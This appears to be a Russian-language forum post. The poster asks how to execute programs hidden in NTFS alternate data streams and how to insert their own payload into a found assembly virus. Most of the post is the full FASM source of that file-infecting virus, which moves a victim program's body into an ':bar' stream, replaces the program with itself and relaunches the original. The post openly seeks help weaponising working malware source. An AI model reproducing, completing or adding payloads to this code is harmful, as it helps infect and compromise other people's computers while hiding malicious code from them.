У меня есть вопрос про альтернативные потоки, если в альт поток залить текстовый файл то он безупречно открывается, но вот если туда засунуть exe файл то команды: (.\test:file.exe) и (start .\test:file.exe) выдают одну и ту же ошибку что файл по такому пути не найден(выполняю с директории с этим файлом), пробовал писать полный путь - тоже не помогло. Я нашёл очень интересный код на ассемблере но так как я не очень разобрался в нём то только поверхностно понимаю что он делает, не понимая логики происходящего в этом коде. Сам код способен заразить через альт поток программу и при открытии этой программы выходит сначала сообщение о заражении файла, а потом когда жмёшь на ок, то открывается сам файл, автор кода дал понять что туда можно вставить вместо сообщения любое содержимое, и это довольно очевидно. Но дело в том что нагрузка сама запускается при нажатии на заражённый файл.
Немного объяснений и помощи было бы кстати. Можно ли запустить exe через cmd из альт потока, если есть идеи как вкрутить в этот код свою нагрузку буду рад их выслушать
Сам код:
Источник и статья:
Немного объяснений и помощи было бы кстати. Можно ли запустить exe через cmd из альт потока, если есть идеи как вкрутить в этот код свою нагрузку буду рад их выслушать
Сам код:
Код:
include 'c:\fasm\INCLUDE\WIN32AX.INC'
.data
foo db "foo",0 ; Имя временного файла
code_name db ":bar",0 ; Имя потока, в котором будет...
code_name_end: ; ...сохранено основное тело
; Различные текстовые строки, которые выводит вирус
aInfected db "infected",0
aHello db "Hello, you are hacked"
; Различные буфера для служебных целей
buf rb 1000
xxx rb 1000
.code
start:
; Удаляем временный файл
push foo
call [DeleteFile]
; Определяем наше имя
push 1000
push buf
push 0
call [GetModuleFileName]
; Считываем командную строку
; Ключ filename — заразить
call [GetCommandLine]
mov ebp, eax
xor ebx, ebx
mov ecx, 202A2D2Dh ;
rool:
cmp [eax], ecx ; это '--*'?
jz infect
inc eax
cmp [eax], ebx ; Конец командной строки?
jnz rool
; Выводим диагностическое сообщение,
; подтверждая свое присутствие в файле
push 0
push aInfected
push aHello
push 0
call [MessageBox]
; Добавляем к своему имени имя потока NTFS
mov esi, code_name
mov edi, buf
mov ecx, 100; сode_name_end - code_name
xor eax,eax
repne scasb
dec edi
rep movsb
; Запускаем поток NTFS на выполнение
push xxx
push xxx
push eax
push eax
push eax
push eax
push eax
push eax
push ebp
push buf
call [CreateProcess]
jmp go2exit ; Выходим из вируса
infect:
; Устанавливаем eax на первый символ имени файла-жертвы
; (далее по тексту dst)
add eax, 4
xchg eax, ebp
xor eax,eax
inc eax
; Здесь можно вставить проверку dst на заражение
; Переименовываем dst в foo
push foo
push ebp
call [MoveFile]
; Копируем в foo основной поток dst
push eax
push ebp
push buf
call [CopyFile]
; Добавляем к своему имени имя потока NTFS
mov esi, ebp
mov edi, buf
copy_rool:
lodsb
stosb
test al,al
jnz copy_rool
mov esi, code_name
dec edi
copy_rool2:
lodsb
stosb
test al,al
jnz copy_rool2
; Копируем foo в dst:bar
push eax
push buf
push foo
call [CopyFile]
; Здесь не помешает добавить коррекцию длины заражаемого файла
; Удаляем foo
push foo
call [DeleteFile]
; Выводим диагностическое сообщение,
; подтверждающее успешность заражения файла
push 0
push aInfected
push ebp
push 0
call [MessageBox]
; Выход из вируса
go2exit:
push 0
call [ExitProcess]
.end start
//конец кода
Ссылка скрыта от гостей